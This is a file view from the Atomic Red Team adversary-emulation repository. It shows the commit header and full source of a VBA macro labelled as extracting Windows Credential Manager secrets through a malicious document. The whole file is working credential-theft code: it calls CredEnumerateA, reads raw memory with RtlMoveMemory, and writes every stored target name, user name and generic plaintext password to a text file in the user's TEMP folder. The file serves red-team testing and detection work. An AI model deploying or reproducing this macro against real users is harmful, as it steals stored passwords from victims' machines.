Files
atomic-red-team/atomics/T1555/src/T1555-macrocode.txt
T
Ama Smuggle Avocados 46b69318c8 Credmanager (#1327)
* initial push for T1555 (Extract Windows Credential Manager via Maldoc)

* updates

* updates

* update

Co-authored-by: avocado <avocados@smuggler.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2020-12-11 08:34:34 -07:00

157 lines
4.2 KiB
Plaintext

Private Declare PtrSafe Function CEnumerateA Lib "advapi32.dll" Alias "CredEnumerateA" (ByVal Filter As String, _
ByVal Flags As Long, _
ByRef Count As Long, _
ByRef credential As LongPtr) As Boolean
Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (var() As Any) As LongPtr
Public Const CRED_TYPE_GENERIC = &H1
Public Const CRED_PERSIST_LOCAL_MACHINE = &H2
#If Win64 Then
Public Const PTR_LENGTH As Long = 8
Public Const PTR_PW_LENGTH As Long = 80
Public Const PTR_PW_LOC As Long = 88
#Else
Public Const PTR_LENGTH As Long = 4
Public Const PTR_PW_LENGTH As Long = 52
Public Const PTR_PW_LOC As Long = 56
#End If
Public Declare PtrSafe Sub Mem_Copy Lib "kernel32" Alias "RtlMoveMemory" (ByRef Destination As Any, _
ByRef Source As Any, _
ByVal Length As Long)
Public Function strReverse_Character_Pairs(ByVal strValue As String) As String
Dim lngLoop As Long
Dim strReturn As String
strReturn = ""
For lngLoop = Len(strValue) - 1& To 1& Step -2&
strReturn = strReturn & Mid$(strValue, lngLoop, 2)
Next lngLoop
strReverse_Character_Pairs = strReturn
End Function
Function HexPtr(ByVal Ptr As LongPtr) As String
HexPtr = Hex$(Ptr)
HexPtr = String$((PTR_LENGTH * 2) - Len(HexPtr), "0") & HexPtr
End Function
Public Function HexToString(ByVal HexToStr As String) As String
Dim strTemp As String
Dim strReturn As String
Dim k As Long
For k = 1 To Len(HexToStr) Step 2
strTemp = Chr$(Val("&H" & Mid(HexToStr, k, 2)))
strReturn = strReturn & strTemp
Next k
HexToString = Right(strReturn, Len(strReturn))
End Function
Public Function Mem_ReadHex(ByVal Ptr As LongPtr, ByVal Length As Long) As Variant
Dim bBuffer() As Byte
Dim strBytes() As String
Dim I As Long
Dim ub As Long
Dim b As Byte
ub = Length - 1
ReDim bBuffer(ub)
ReDim strBytes(ub)
Mem_Copy bBuffer(0), ByVal Ptr, Length
For I = 0 To ub
b = bBuffer(I)
strBytes(I) = IIf(b < 16, "0", "") & Hex$(b)
Next
Mem_ReadHex = Join(strBytes, "")
End Function
Sub Extract()
' Control Panel -> Credential Manager -> Windows Credentials
Dim name As String
Dim creds As LongPtr
Dim dwCount As Long
Dim ptrTemp As LongPtr
Dim ptrArray() As LongPtr
Dim memArray() As Variant
Dim fs As Object
Dim fPath As String
Set fs = CreateObject("Scripting.FileSystemObject")
fPath = Environ$("TEMP") + "\windows-credentials.txt"
Set out = fs.CreateTextFile(fPath, True)
Dim cnt As Integer
cnt = 0
s = CEnumerateA(vbNullString, 0, dwCount, creds)
out.WriteLine ("Number of Creds: " & dwCount & vbNewLine)
For I = 1 To dwCount
ReDim Preserve ptrArray(I)
ptrTemp = creds + ((I - 1) * PTR_LENGTH)
Mem_Copy ptrArray(I), ByVal ptrTemp, PTR_LENGTH
Next I
For I = 1 To UBound(ptrArray)
TargetName = ""
UserName = ""
fnl = ""
nullCnt = 0
cnt = 0
targetAliasPtr = CDec("&h" & strReverse_Character_Pairs(Mem_ReadHex(ptrArray(I) + 8, PTR_LENGTH)))
Do Until nullCnt = 2
blob = Mem_ReadHex(targetAliasPtr + cnt, 1)
fnl = fnl + blob
If blob = "00" Then
nullCnt = nullCnt + 1
End If
cnt = cnt + 1
Loop
arrayOfTargetandUser = Split(HexToString(fnl), vbNullChar)
If UBound(arrayOfTargetandUser) > 0 Then
TargetName = arrayOfTargetandUser(0)
UserName = arrayOfTargetandUser(1)
out.WriteLine ("Target Name: " & TargetName)
out.WriteLine ("User Name: " & UserName)
Else
TargetName = arrayOfTargetandUser(0)
out.WriteLine ("Target Name: " & TargetName)
End If
Flags = Mem_ReadHex(ptrArray(I) + 4, 1)
If Flags = "01" Then
' Password Length
pwLen = CDec("&H" & strReverse_Character_Pairs(Mem_ReadHex(ptrArray(I) + PTR_PW_LENGTH, 4)))
' Password as wide hex
pwd = Replace(Mem_ReadHex(ptrArray(I) + PTR_PW_LOC, pwLen), "00", "")
out.WriteLine ("Credential Type: Generic")
out.WriteLine ("Password: " & HexToString(pwd) & vbNewLine)
Else
out.WriteLine ("Credential Type: Windows")
out.WriteLine ("Password: WINDOWS CREDENTIAL (NULL)" & vbNewLine)
End If
Next I
out.Close
End Sub